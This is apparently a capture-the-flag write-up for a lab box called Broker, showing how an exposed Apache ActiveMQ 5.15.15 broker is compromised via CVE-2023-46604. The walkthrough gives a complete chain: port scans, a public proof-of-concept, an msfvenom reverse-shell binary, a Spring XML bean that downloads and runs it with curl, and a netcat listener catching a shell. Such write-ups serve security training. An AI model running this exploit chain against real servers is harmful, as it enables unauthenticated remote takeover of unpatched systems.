Post

Broker

An exposed Apache ActiveMQ 5.15.15 OpenWire broker is vulnerable to CVE-2023-46604, an unauthenticated deserialization flaw that instantiates a Spring ClassPathXmlApplicationContext from an attacker-hosted XML file to run a reverse shell as the activemq user.

Broker

Overview

Broker is an easy-difficulty Linux box whose entire foothold rests on one CVE. Nmap fingerprints Apache ActiveMQ 5.15.15 on the OpenWire transport port, and that version is vulnerable to CVE-2023-46604 — a critical (CVSS 10.0) unauthenticated remote code execution flaw in the OpenWire protocol marshaller. A public proof-of-concept makes the broker load a malicious Spring XML bean definition and spawn a reverse shell, landing us directly as the activemq user that owns user.txt. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

CVE is the whole foothold: ActiveMQ CVE-2023-46604 OpenWire deserialization RCE via a public PoC, with minimal enumeration and no bespoke work.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu, default
80/tcpnginx 1.18.0HTTP 401 Unauthorized
61616/tcpApache ActiveMQOpenWire transport, version 5.15.15

A full-port scan first, then a targeted version scan on whatever is open:

1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.X | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.X

The OpenWire fingerprint on 61616 leaks the exact build — the banner ends in 5.15.15. Web is a dead end (401), so the broker is the way in.

Enumeration

ActiveMQ 5.15.15 predates the patch for CVE-2023-46604. The OpenWire marshaller deserialises a class name and a string argument from incoming “error” packets without verifying the class is actually a Throwable. That lets an unauthenticated attacker instantiate any class on the classpath — most usefully Spring’s ClassPathXmlApplicationContext, whose constructor fetches and parses a remote XML bean file. Defining a ProcessBuilder bean with init-method="start" in that XML turns “load this config” into “run this command.”

Grab a public PoC:

1
2
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
unzip main.zip && cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ-main/

Foothold

1 — Stage the payload. Build an ELF reverse shell and edit the PoC’s poc-linux.xml so its ProcessBuilder command downloads and runs it from your web server:

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.X LPORT=4444 -f elf -o test.elf

The relevant bean in poc-linux.xml runs sh -c "curl -s -o test.elf http://10.10.14.X:8001/test.elf; chmod +x ./test.elf; ./test.elf".

2 — Start the web server and listener (each in its own terminal):

1
2
python3 -m http.server 8001
nc -lvvp 4444

3 — Fire the exploit. -i is the target, -p the OpenWire port, -u the URL of your malicious Spring XML:

1
go run main.go -i 10.10.10.X -p 61616 -u http://10.10.14.X:8001/poc-linux.xml

The broker fetches the XML, Spring instantiates the ProcessBuilder bean, and the listener catches a shell as activemq:

1
2
3
connect to [10.10.14.X] from (UNKNOWN) [10.10.10.X]
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)

Upgrade to a PTY and grab the flag:

1
2
script /dev/null -c bash
cat /home/activemq/user.txt   # [redacted]

Command execution as activemq and the user flag are ours.

Privilege escalation (the NOPASSWD: /usr/sbin/nginx sudo misconfiguration) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.